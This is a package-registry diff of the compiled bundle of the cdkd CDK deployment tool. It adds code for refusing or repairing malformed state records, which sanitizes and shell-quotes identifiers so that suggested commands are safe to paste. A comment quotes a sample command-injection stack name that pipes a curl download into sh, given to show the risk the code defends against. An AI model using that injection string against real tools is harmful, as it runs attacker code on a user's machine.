@go-to-k/cdkd 0.290.9 → 0.290.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -1,4 +1,4 @@
1
- import { $r as setAwsClients, Cr as Synthesizer, Dn as LockManager, Jr as clearBucketRegionCache, Kr as AssemblyReader, On as S3StateBackend, Qr as resetAwsClients, Si as normalizeAwsError, Un as AssetPublisher, Xr as AwsClients, Yr as resolveBucketRegion, Zr as getAwsClients, bi as formatError, cn as DagBuilder, ei as AssetError, gt as CloudControlProvider, ii as DependencyError, ln as TemplateParser, ni as ConfigError, nn as DiffCalculator, ot as ProviderRegistry, pi as ProvisioningError, r as DeployEngine, rt as IAMRoleProvider, ti as CdkdError, ui as LockError, vi as StateError, xi as isCdkdError, yi as SynthesisError } from "./deploy-engine-B3yP0pHa.js";
1
+ import { $r as setAwsClients, Cr as Synthesizer, Dn as LockManager, Jr as clearBucketRegionCache, Kr as AssemblyReader, On as S3StateBackend, Qr as resetAwsClients, Si as normalizeAwsError, Un as AssetPublisher, Xr as AwsClients, Yr as resolveBucketRegion, Zr as getAwsClients, bi as formatError, cn as DagBuilder, ei as AssetError, gt as CloudControlProvider, ii as DependencyError, ln as TemplateParser, ni as ConfigError, nn as DiffCalculator, ot as ProviderRegistry, pi as ProvisioningError, r as DeployEngine, rt as IAMRoleProvider, ti as CdkdError, ui as LockError, vi as StateError, xi as isCdkdError, yi as SynthesisError } from "./deploy-engine-B6t-R3eP.js";
2
2
  import { a as setLogger, n as getLogger, t as ConsoleLogger } from "./logger-H8n5Qjhq.js";
3
3
 
4
4
  export { AssemblyReader, AssetError, AssetPublisher, AwsClients, CdkdError, CloudControlProvider, ConfigError, ConsoleLogger, DagBuilder, DependencyError, DeployEngine, DiffCalculator, IAMRoleProvider, LockError, LockManager, ProviderRegistry, ProvisioningError, S3StateBackend, StateError, SynthesisError, Synthesizer, TemplateParser, clearBucketRegionCache, formatError, getAwsClients, getLogger, isCdkdError, normalizeAwsError, resetAwsClients, resolveBucketRegion, setAwsClients, setLogger };
@@ -1,8 +1,8 @@
1
- import { $ as secretBearing, $n as ensureAssetStorage, $r as setAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as retryClassificationText, An as buildForceUnlockCommand, Ar as resolveSkipPrefix, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as orphansAfterRollback, Br as uploadCfnTemplate, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Ci as withErrorHandling, Cn as recordMaskOnlyValue, Cr as Synthesizer, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isTransientServerError, Dn as LockManager, Dr as resolveApp, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isThrottlingError, En as scrubResourceRecord, Er as getLegacyStateBucketName, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as warnDeprecatedNoPrefixCliFlag, Ft as resolveExplicitPhysicalId, G as gray, Gn as WorkGraph, Gr as derivePartitionAndUrlSuffix, Gt as requireConfigObject, H as formatResourceLine, Hn as shouldRetainResource, Hr as expectedOwnerParam, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as CFN_TEMPLATE_BODY_LIMIT, It as assertRegionMatch, J as yellow, Jn as loadPublishableAssetManifest, Jt as producerRegionsFromState, K as green, Kn as buildAssetRedirectMap, Kr as AssemblyReader, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as CFN_TEMPLATE_URL_LIMIT, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mn as forceQuitRecoveryClause, Mr as resolveStateBucketWithDefaultAndSource, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveUseCdkBootstrapAssets, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as markNonRetryable, On as S3StateBackend, Or as resolveAutoAssetStorage, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as stateBucketExistenceConfirmed, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as assertAssetBucketRegion, Qr as resetAwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as importableOutputKeys, Rr as MIGRATE_TMP_PREFIX, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Si as normalizeAwsError, Sn as maskSecretsInText, Sr as getDockerImageBySourceHash, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as isRetryableTransientError, Tn as redactSecretsForState, Tr as getDefaultStateBucketName, Tt as cfnRefValueFromPhysicalId, U as bold, Un as AssetPublisher, Ur as PARTITION_TABLE, Ut as replayWarn, V as toFiniteNumber, Vn as orphansCarriedFrom, Vr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Vt as configStringRefusal, W as cyan, Wn as stringifyValue, Wr as canonicalizeRegion, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as AssetModeResolver, Xr as AwsClients, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as rewriteTemplateAssetReferences, Yr as resolveBucketRegion, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as BOOTSTRAP_MARKER_PREFIX, Zr as getAwsClients, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as StackTerminationProtectionError, _n as errorCauseChain, _r as runDockerForeground, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as DeployCancelledError, an as findSilentDropProperties, ar as validateContainerRepoName, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as stripControlChars, bt as deleteSkipReason, c as replayFailedOperations, ci as LocalInvokeBuildError$1, cn as DagBuilder, cr as buildDockerImage, ct as createMaskedRetryLogger, d as updatePartialReason, di as NestedStackChildDirectDestroyError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerFailure, dt as beginCommandInterruptScope, en as s3BucketWebsiteUrl, er as getBootstrapMarkerKey, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as PartialFailureError, fn as STATE_SOURCED_READBACK_RULES, fr as dockerSpawnEnvWithSensitive, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as StackHasActiveImportsError, gn as dynamicReferenceTokens, gr as redactDockerArgvValues, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ResourceUpdateNotSupportedError, hn as createSecretMasker, hr as partitionSensitiveEnv, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as validateAssetBucketName, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as buildLockContentionMessage, jr as resolveStateBucketWithDefault, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as markRedactedCause, kn as rebuildClientForBucketRegion, kr as resolveCaptureObservedState, kt as isUnboundTemplateParameter, l as replayRollback, li as LocalStartServiceError, ln as TemplateParser, lr as describeDockerCapturedOutput, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as ResourceTimeoutError, mn as carriesSecretMask, mr as getDockerCmd, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as parseBootstrapMarker, nt as getCurrentResourceSecrets, o as planFailedOps, oi as DynamicReferenceRegionAmbiguousError, on as describeTypeWithThrottleRetry, or as buildDenyExternalAccessPolicy, ot as ProviderRegistry, p as maskingRetryLogger, pi as ProvisioningError, pn as TEMPLATE_SOURCED_RULES, pr as formatDockerLoginError, pt as interruptWatchListenerCount, q as red, qn as createAssetRedirectResolver, qr as processStackMessages, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CrossAccountSecretRefusalError, rn as INTRINSIC_KEYS, rr as readBootstrapMarkerBody, rt as IAMRoleProvider, s as planRollback, si as IntrinsicResolutionRefusalError, sn as withRetry, sr as describeAwsFailure, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CdkdError, tn as applyRoleArnIfSet, tr as isCrossRegionRedirect, tt as secretSafeKeyDisplay, u as updatePartialMessage, un as STATE_SOURCED_BASELINE_RULES, ur as describeDockerExecFailure, ut as maskerOrIdentity, v as keptWholeReasonText, vn as identityKeyFor, vr as runDockerStreaming, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as isMarkedNonRetryable, wn as recoverMaskedOutput, wr as synthesisStatusMessage, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as AssetManifestLoader, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yn as isSingleDynamicReferenceToken, yr as escapeRegExp, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputs, zr as findLargeInlineResources, zt as configBooleanRefusal } from "./deploy-engine-B3yP0pHa.js";
1
+ import { $ as secretBearing, $n as ensureAssetStorage, $r as setAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as retryClassificationText, An as buildForceUnlockCommand, Ar as resolveSkipPrefix, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as orphansAfterRollback, Br as uploadCfnTemplate, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Ci as withErrorHandling, Cn as recordMaskOnlyValue, Cr as Synthesizer, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isTransientServerError, Dn as LockManager, Dr as resolveApp, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isThrottlingError, En as scrubResourceRecord, Er as getLegacyStateBucketName, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as warnDeprecatedNoPrefixCliFlag, Ft as resolveExplicitPhysicalId, G as gray, Gn as WorkGraph, Gr as derivePartitionAndUrlSuffix, Gt as requireConfigObject, H as formatResourceLine, Hn as shouldRetainResource, Hr as expectedOwnerParam, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as CFN_TEMPLATE_BODY_LIMIT, It as assertRegionMatch, J as yellow, Jn as loadPublishableAssetManifest, Jt as producerRegionsFromState, K as green, Kn as buildAssetRedirectMap, Kr as AssemblyReader, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as CFN_TEMPLATE_URL_LIMIT, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mn as forceQuitRecoveryClause, Mr as resolveStateBucketWithDefaultAndSource, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveUseCdkBootstrapAssets, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as markNonRetryable, On as S3StateBackend, Or as resolveAutoAssetStorage, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as stateBucketExistenceConfirmed, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as assertAssetBucketRegion, Qr as resetAwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as importableOutputKeys, Rr as MIGRATE_TMP_PREFIX, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Si as normalizeAwsError, Sn as maskSecretsInText, Sr as getDockerImageBySourceHash, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as isRetryableTransientError, Tn as redactSecretsForState, Tr as getDefaultStateBucketName, Tt as cfnRefValueFromPhysicalId, U as bold, Un as AssetPublisher, Ur as PARTITION_TABLE, Ut as replayWarn, V as toFiniteNumber, Vn as orphansCarriedFrom, Vr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Vt as configStringRefusal, W as cyan, Wn as stringifyValue, Wr as canonicalizeRegion, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as AssetModeResolver, Xr as AwsClients, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as rewriteTemplateAssetReferences, Yr as resolveBucketRegion, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as BOOTSTRAP_MARKER_PREFIX, Zr as getAwsClients, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as StackTerminationProtectionError, _n as errorCauseChain, _r as runDockerForeground, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as DeployCancelledError, an as findSilentDropProperties, ar as validateContainerRepoName, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as stripControlChars, bt as deleteSkipReason, c as replayFailedOperations, ci as LocalInvokeBuildError$1, cn as DagBuilder, cr as buildDockerImage, ct as createMaskedRetryLogger, d as updatePartialReason, di as NestedStackChildDirectDestroyError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerFailure, dt as beginCommandInterruptScope, en as s3BucketWebsiteUrl, er as getBootstrapMarkerKey, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as PartialFailureError, fn as STATE_SOURCED_READBACK_RULES, fr as dockerSpawnEnvWithSensitive, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as StackHasActiveImportsError, gn as dynamicReferenceTokens, gr as redactDockerArgvValues, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ResourceUpdateNotSupportedError, hn as createSecretMasker, hr as partitionSensitiveEnv, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as validateAssetBucketName, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as buildLockContentionMessage, jr as resolveStateBucketWithDefault, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as markRedactedCause, kn as rebuildClientForBucketRegion, kr as resolveCaptureObservedState, kt as isUnboundTemplateParameter, l as replayRollback, li as LocalStartServiceError, ln as TemplateParser, lr as describeDockerCapturedOutput, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as ResourceTimeoutError, mn as carriesSecretMask, mr as getDockerCmd, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as parseBootstrapMarker, nt as getCurrentResourceSecrets, o as planFailedOps, oi as DynamicReferenceRegionAmbiguousError, on as describeTypeWithThrottleRetry, or as buildDenyExternalAccessPolicy, ot as ProviderRegistry, p as maskingRetryLogger, pi as ProvisioningError, pn as TEMPLATE_SOURCED_RULES, pr as formatDockerLoginError, pt as interruptWatchListenerCount, q as red, qn as createAssetRedirectResolver, qr as processStackMessages, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CrossAccountSecretRefusalError, rn as INTRINSIC_KEYS, rr as readBootstrapMarkerBody, rt as IAMRoleProvider, s as planRollback, si as IntrinsicResolutionRefusalError, sn as withRetry, sr as describeAwsFailure, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CdkdError, tn as applyRoleArnIfSet, tr as isCrossRegionRedirect, tt as secretSafeKeyDisplay, u as updatePartialMessage, un as STATE_SOURCED_BASELINE_RULES, ur as describeDockerExecFailure, ut as maskerOrIdentity, v as keptWholeReasonText, vn as identityKeyFor, vr as runDockerStreaming, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as isMarkedNonRetryable, wn as recoverMaskedOutput, wr as synthesisStatusMessage, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as AssetManifestLoader, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yn as isSingleDynamicReferenceToken, yr as escapeRegExp, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputs, zr as findLargeInlineResources, zt as configBooleanRefusal } from "./deploy-engine-B6t-R3eP.js";
2
2
  import { C as truncateCodePoints, S as displaySafe, _ as withSkipPrefix, b as UNRENDERABLE, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displayIdent, y as STACK_REF_MAX_CODE_POINTS } from "./logger-H8n5Qjhq.js";
3
3
  import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
4
- import { t as getCdkdVersion } from "./version-wXpog0Ci.js";
5
- import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-BTsQjH_E.js";
4
+ import { t as getCdkdVersion } from "./version-BwiXzVQd.js";
5
+ import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-BNyUZrYL.js";
6
6
  import { AsyncLocalStorage } from "node:async_hooks";
7
7
  import { createHash, randomBytes, randomUUID } from "node:crypto";
8
8
  import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -64007,6 +64007,315 @@ function createDeployCommand() {
64007
64007
  return cmd;
64008
64008
  }
64009
64009
 
64010
+ //#endregion
64011
+ //#region src/state/malformed-resources-bag.ts
64012
+ /** The error code every malformed-record refusal carries, whatever its class. */
64013
+ const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
64014
+ /**
64015
+ * Answer the ONE question both helpers below key on: can this record's
64016
+ * resource map be read at all?
64017
+ *
64018
+ * Widened past `null` / `undefined` because the message says "no readable
64019
+ * resources map" and a hand-edited record does not stop at those two: a
64020
+ * `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
64021
+ * empty or, for the string, absurd — repaired silently and warned about
64022
+ * nowhere. The predicate is the plain-object test the bag's own type implies.
64023
+ */
64024
+ function hasReadableResources(state) {
64025
+ return isReadableBag(state.resources);
64026
+ }
64027
+ /**
64028
+ * The plain-object test itself, without the `resources` field bound to it.
64029
+ *
64030
+ * Exported because {@link hasReadableResources} is not the only caller any
64031
+ * more. Spelling the same test a second time at any of them is what this export
64032
+ * exists to prevent: the copies could then drift, and the one that drifted
64033
+ * would fabricate again while looking guarded.
64034
+ *
64035
+ * The consumers outside this module, DERIVED from
64036
+ * `grep -rn "isReadableBag" src/` rather than from recall — re-run that command
64037
+ * rather than trusting this list, which is the third enumeration in this
64038
+ * module's history to be written by reasoning and come out incomplete:
64039
+ *
64040
+ * - `src/cli/commands/state.ts` (3 call sites, all in `repairRenderedContainers`):
64041
+ * `cdkd state show` and `cdkd state resources` walk FOUR more record
64042
+ * containers with `Object.entries` — `outputs`, `skippedOutputs`, and each
64043
+ * resource's `attributes` and `properties` — and a non-object in any of them
64044
+ * fabricates rows exactly as the `resources` bag did (go-to-k/cdkd#3187).
64045
+ * - `src/analyzer/outputs-diff.ts` (1 call site, in `computeOutputsDiff`):
64046
+ * `cdkd diff` walks the stored `outputs` bag to emit its `REMOVE` rows, and a
64047
+ * string there invented one row per character (go-to-k/cdkd#3189). This one is
64048
+ * CROSS-LAYER — the analyzer sits above the state layer, so the import is
64049
+ * downward and carries no cycle, but it means an edit here reaches a layer the
64050
+ * two `resources`-bag callers do not.
64051
+ *
64052
+ * What it does NOT decide is whether a given container is malformed. That is a
64053
+ * per-container call, because absence means different things: an absent
64054
+ * `resources` bag is a defect ({@link hasReadableResources} says so), while an
64055
+ * absent `skippedOutputs` is the normal pre-#2740 record. Each caller pairs
64056
+ * this predicate with its own absence rule.
64057
+ */
64058
+ function isReadableBag(container) {
64059
+ return typeof container === "object" && container !== null && !Array.isArray(container);
64060
+ }
64061
+ /**
64062
+ * The shared explanation, in the terms the reader needs: what is wrong, what
64063
+ * to look at, and what NOT to do next.
64064
+ *
64065
+ * Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
64066
+ * emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
64067
+ * `.claude/rules/layout-state-types.md` require of any suggestion a user is
64068
+ * meant to paste, for two separate reasons.
64069
+ *
64070
+ * Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
64071
+ * printable-ASCII allowlist, so it removes the line- and escape-forgery class
64072
+ * but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
64073
+ * trusted here, since a stack name reaches the cross-stack read path from an
64074
+ * `Fn::GetStackOutput` argument or an S3 key. A name spelled
64075
+ * `a'; curl http://x|sh; echo '` would close the quoting and append its own
64076
+ * command to the line this text tells the user to RUN.
64077
+ *
64078
+ * Wrapping the command in `'...'` is not enough either, and is what makes the
64079
+ * two compose badly: `shellQuote` does its own quoting, so an outer wrapper
64080
+ * produces something unpastable. Hence unwrapped and last.
64081
+ *
64082
+ * An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
64083
+ * nothing — an empty argument makes `--stack-region` swallow the next flag,
64084
+ * turning a remedy into a differently-broken command.
64085
+ */
64086
+ function safeIdentifier(value) {
64087
+ const safe = displaySafe(value, { asciiOnly: true });
64088
+ if (!safe) return UNRENDERABLE;
64089
+ const { text, truncated } = truncateCodePoints(safe, 128);
64090
+ return truncated ? `${text}...` : text;
64091
+ }
64092
+ function malformedStateDetail(stackName, region) {
64093
+ const stack = safeIdentifier(stackName);
64094
+ const reg = safeIdentifier(region);
64095
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
64096
+ }
64097
+ /**
64098
+ * For a READ-ONLY command: give the record an empty resource bag so the
64099
+ * command can report on it, and say so (issue go-to-k/cdkd#3018).
64100
+ *
64101
+ * `parseStateBody` deliberately does not validate the inner shape, so a
64102
+ * hand-edited or truncated record reaches a command with `resources` absent,
64103
+ * `null`, or some other non-object. Every such command then died on a raw
64104
+ * `TypeError` from the first `Object.keys` / `in` / index read — the exact
64105
+ * wording differs per shape (`Cannot convert undefined or null to object`,
64106
+ * `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
64107
+ * them names a stack, a key or a remedy, from exactly the commands a user
64108
+ * reaches for WHEN the state is broken.
64109
+ *
64110
+ * WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
64111
+ * the twelve `Object.entries(state.resources)` loops, which was inert: every
64112
+ * one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
64113
+ * `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
64114
+ * happened one line up and the guards only made it look handled. One call per
64115
+ * load dominates the whole flow behind it, including the helpers that take the
64116
+ * state as a parameter (`orphan-rewriter`, `diff-calculator`,
64117
+ * `collectCcApiRoutes`).
64118
+ *
64119
+ * Mutates in place and returns whether it repaired anything; the caller warns
64120
+ * on `true`. A silent repair is its own defect — an empty resource set is
64121
+ * indistinguishable from a healthy empty stack in every later line of output,
64122
+ * so `No changes detected` over an unreadable record is a clean verdict about
64123
+ * nothing.
64124
+ *
64125
+ * **Only for a command that cannot WRITE state.** Anything that can persist
64126
+ * uses {@link refuseMalformedState} instead; see its note.
64127
+ */
64128
+ function repairMalformedResourcesForReadOnly(state) {
64129
+ if (hasReadableResources(state)) return false;
64130
+ state.resources = {};
64131
+ return true;
64132
+ }
64133
+ /**
64134
+ * The refusal TEXT, for a command whose own exit-code contract means this
64135
+ * cannot be a plain `CdkdError`.
64136
+ *
64137
+ * `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
64138
+ * plaintext") and every one of its refusals carries `exitCode = 2`, because a
64139
+ * CI gate reading the code alone must be able to tell "scrub looked and found
64140
+ * a leak" from "scrub refused to look" — the two call for opposite responses.
64141
+ * So scrub tests {@link hasReadableResources} and raises its own class around
64142
+ * this text rather than calling {@link refuseMalformedState}.
64143
+ *
64144
+ * The other three refusing commands do NOT share that need, and giving them a
64145
+ * single shared code would be wrong in the other direction: `cdkd rollback`
64146
+ * documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
64147
+ * would tell an operator to re-run a command that attempted nothing.
64148
+ */
64149
+ function malformedStateRefusalMessage(stackName, region) {
64150
+ return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
64151
+ }
64152
+ /**
64153
+ * The warning a view emits when it emptied one or more {@link
64154
+ * RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
64155
+ *
64156
+ * Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
64157
+ * narrower than it looks. That one tells the reader not to run `cdkd deploy` /
64158
+ * `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
64159
+ * from an empty stack: deploy would re-CREATE everything and destroy would
64160
+ * delete nothing. No container named here can produce that specific confusion —
64161
+ * the resource SET is still readable — so borrowing that sentence would attach
64162
+ * a re-create-the-world warning to a record whose resource list is intact.
64163
+ *
64164
+ * It is NOT that these containers are display-only. `properties` is read by the
64165
+ * deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
64166
+ * nothing from this module, and a non-object there compares unequal to any
64167
+ * desired object and yields a spurious property-change set — filed as
64168
+ * go-to-k/cdkd#3191. An earlier revision of this comment asserted the
64169
+ * display-only premise, which would have read as licence to drop a guard on
64170
+ * that path (review of go-to-k/cdkd#3190).
64171
+ *
64172
+ * What stays the same is the remedy: `--json` is the mode that shows the
64173
+ * stored value.
64174
+ *
64175
+ * ONE warning per record however many containers it names — a stack whose 500
64176
+ * resources all carry a hand-edited `properties` gets one line, not 500. The
64177
+ * caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
64178
+ * stable across records. Not `.sort()` — that order is deliberately not
64179
+ * alphabetical, and its own JSDoc says so.
64180
+ *
64181
+ * Both identifiers are sanitized and then shell-quoted, and the command is
64182
+ * emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
64183
+ * gives.
64184
+ *
64185
+ * The container NAMES take {@link safeIdentifier} too — the SAME helper, so
64186
+ * they cannot drift from it — but NOT `shellQuote`, because they appear in the
64187
+ * PROSE and never inside the command this text tells the reader to run; the
64188
+ * command carries the two identifiers and nothing else.
64189
+ *
64190
+ * Sanitizing them is not dead code written for a case that cannot happen. The
64191
+ * union above is closed at COMPILE time, so without this the guarantee would
64192
+ * live in a comment, and the day a caller derives a name from a record instead
64193
+ * of from a literal an unsanitized element could forge a line, render as empty
64194
+ * quotes naming nothing, or run to kilobytes and push the remedy command off
64195
+ * the reader's screen. `safeIdentifier` closes all three and is the identity on
64196
+ * all four literals, so no user-visible text moves.
64197
+ *
64198
+ * What it does NOT close, stated rather than reassured away: a forged name made
64199
+ * only of printable ASCII still renders verbatim inside its quotes and could
64200
+ * read as prose. That residual is bounded to the PROSE — the command the reader
64201
+ * pastes is built from the two shell-quoted identifiers alone — and closing it
64202
+ * would mean JSON-quoting a name in the one place the text is meant to read as
64203
+ * English (review of go-to-k/cdkd#3190).
64204
+ */
64205
+ function malformedRenderedContainersWarning(stackName, region, containers) {
64206
+ const stack = safeIdentifier(stackName);
64207
+ const reg = safeIdentifier(region);
64208
+ const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
64209
